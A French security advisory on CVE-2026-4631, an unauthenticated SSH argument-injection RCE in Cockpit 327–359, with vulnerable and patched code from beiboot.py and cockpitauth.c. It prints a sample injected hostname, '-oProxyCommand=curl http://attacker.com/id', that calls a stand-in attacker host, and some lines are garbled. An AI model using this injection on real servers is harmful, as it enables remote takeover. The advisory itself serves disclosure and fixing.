
Cockpit : Exécution de code à distance non authentifiée via injection d'arguments de ligne de commande SSH
Cockpit : Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Sévérité | Critique (CVSS 9.8) |
| Versions affectées | Cockpit 327 – 359 |
| Corrigé dans | Cockpit 360 |
| CWE | CWE-78 : Injection de commande système |
| Authentification requise | NON |
| Signalé par | Jelle van der Waa |
La fonctionnalité de connexion à distance de Cockpit transmet les noms d'hôte fournis par l'utilisateur (depuis le chemin de l'URL) et les noms d'utilisateur (depuis l'en-tête Authorization: Basic) directement au binaire OpenSSH ssh sans aucune validation ni assainissement.
Un attaquant non authentifié ayant un accès réseau au port 9090 peut élaborer une seule requête HTTP qui :
-oProxyCommand=<cmd>)%r de SSHLes deux points d'injection se déclenchent avant la fin de la vérification des identifiants, ce qui signifie qu'aucune connexion valide n'est requise.

Avant la version 327, Cockpit utilisait un binaire C dédié appelé cockpit-ssh (basé sur libssh) pour les connexions à distance. À partir de la version 327, celui-ci a été remplacé par :
python3 -m cockpit.beiboot
qui invoque le client OpenSSH ssh du système. Ce changement a introduit la vulnérabilité car le nouveau chemin de code transmet des valeurs contrôlées par l'utilisateur directement à ssh sans assainissement.
-- avant le nom d'hôteLe client SSH interprète les arguments commençant par - comme des options, et non comme un nom d'hôte, à moins qu'un séparateur -- ne les précède. Sans --, tout nom d'hôte commençant par - est analysé comme un drapeau SSH.
Construction vulnérable :
ssh [options] <nom-hôte> <commande-distance>
Construction sûre :
ssh [options] -- <nom-hôte> <commande-distance>
Ni cockpit-ws (code C) ni cockpit.beiboot (code Python) ne valident ni n'assainissent :
Authorization: Basicargparse (CPython #66623)Un bug CPython connu fait que argparse gère mal les arguments commençant par - qui contiennent également des espaces, les traitant comme des arguments positionnels plutôt que comme des drapeaux. Cela permet à un nom d'hôte -oProxyCommand=commande malveillante de traverser l'analyse des arguments Python et d'atteindre ssh comme une option.
src/cockpit/beiboot.py — Point d'injection principalC'est le fichier le plus critique. La fonction via_ssh() construit la liste d'arguments de la commande SSH.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Construire une commande ssh pour exécuter `cmd` sur `dest`."""
# Analyser le port optionnel depuis dest (ex. "hôte:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Supprimer les crochets IPv6
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNÉRABLE : Pas de '--' avant l'hôte
# Si host = "-oProxyCommand=evil", ssh le traite comme une option
destination = ['-p', port, host]
else:
# VULNÉRABLE : Entrée brute de l'attaquant transmise directement à ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
Avec dest = "-oProxyCommand=curl http://attacker.com/id" :
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← option cockpit
arg2: -oProxyCommand=curl http://... ← ANALYSÉE COMME OPTION SSH (pas un hôte)
arg3: python3 -ic '# cockpit-bridge' ← devient le "nom d'hôte" → déclenche ProxyCommand
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# CORRIGÉ : '--' force tout ce qui suit à être positionnel
destination = ['-p', port, '--', host]
else:
# CORRIGÉ : séparateur '--' ajouté
destination = ['--', dest]
src/ws/cockpitauth.c — Couche C : Extraction du nom d'hôteCe fichier C gère l'analyse initiale de la requête HTTP et lance le processus beiboot.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extrait tout ce qui suit "cockpit+=" du chemin de l'URL
// Aucune validation des caractères — tirets, caractères spéciaux autorisés
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
Le nom d'hôte retourné est transmis directement comme argument lors du lancement de beiboot :
// cockpit_ws_ssh_program est le modèle de commande de lancement
// VULNÉRABLE : nom d'hôte ajouté sans assainissement
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// Pas de '--' final signifie que le nom d'hôte peut être
// analysé comme un drapeau par argparse de Python (CPython #66623)
// CORRIGÉ : '--' final garantit que le nom d'hôte est toujours positionnel
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Décode Authorization: Basic base64(utilisateur:motdepasse)
// Aucune validation de 'user' — points-virgules, caractères spéciaux autorisés
raw = cockpit_authorize_parse_basic(authorization, &user);
}